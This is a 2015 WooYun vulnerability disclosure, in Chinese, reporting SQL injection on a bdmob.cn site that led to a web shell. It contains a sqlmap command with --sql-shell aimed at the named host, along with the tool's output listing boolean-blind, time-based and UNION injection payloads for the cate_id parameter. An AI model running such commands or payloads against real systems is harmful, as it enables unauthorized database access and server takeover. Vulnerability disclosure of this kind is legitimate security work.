当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0138414

漏洞标题:布丁移动某站sql注入导致getshell

相关厂商:bdmob.cn

漏洞作者: 凌零1

提交时间:2015-09-01 18:37

修复时间:2015-10-21 16:00

公开时间:2015-10-21 16:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-01: 细节已通知厂商并且等待厂商处理中
2015-09-06: 厂商已经确认,细节仅向厂商公开
2015-09-16: 细节向核心白帽子及相关领域专家公开
2015-09-26: 细节向普通白帽子公开
2015-10-06: 细节向实习白帽子公开
2015-10-21: 细节向公众公开

简要描述:

0.0.。。感谢@玉林嘎 大神

详细说明:

注入点较多,就随便拿了个试
cate_id,appid,infoid,parent_id...参数都有注入
仅拿一个测试:
http://a.bdmob.cn/list.php?parent_id=2&cate_id=12

C:\Python27\sqlmap>sqlmap.py -u "http://a.bdmob.cn/infolist.php?parent_id=22&cat
e_id=23" -p "cate_id" --sql-shell
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150609}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 17:08:29
[17:08:29] [INFO] resuming back-end DBMS 'mysql'
[17:08:29] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: cate_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: parent_id=22&cate_id=23' AND 2592=2592 AND 'CCwz'='CCwz
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: parent_id=22&cate_id=23' AND (SELECT * FROM (SELECT(SLEEP(5)))SFrm)
AND 'RppW'='RppW
Type: UNION query
Title: Generic UNION query (NULL) - 18 columns
Payload: parent_id=22&cate_id=23' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCA
T(0x717a6b6271,0x747a54655070494f7875,0x7171627a71),NULL,NULL,NULL,NULL,NULL,NUL
L,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[17:08:33] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.2.17
back-end DBMS: MySQL 5.0.12


漏洞证明:

getshell

$[DD6KNLIRDC_[HQLJ0A}`N.png


NHMBG]@Y{3HTG3%I]KA{Q92.jpg

修复方案:

严肃对待注入问题

版权声明:转载请注明来源 凌零1@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-09-06 15:59

厂商回复:

感谢作者

最新状态:

暂无


漏洞评价:

评论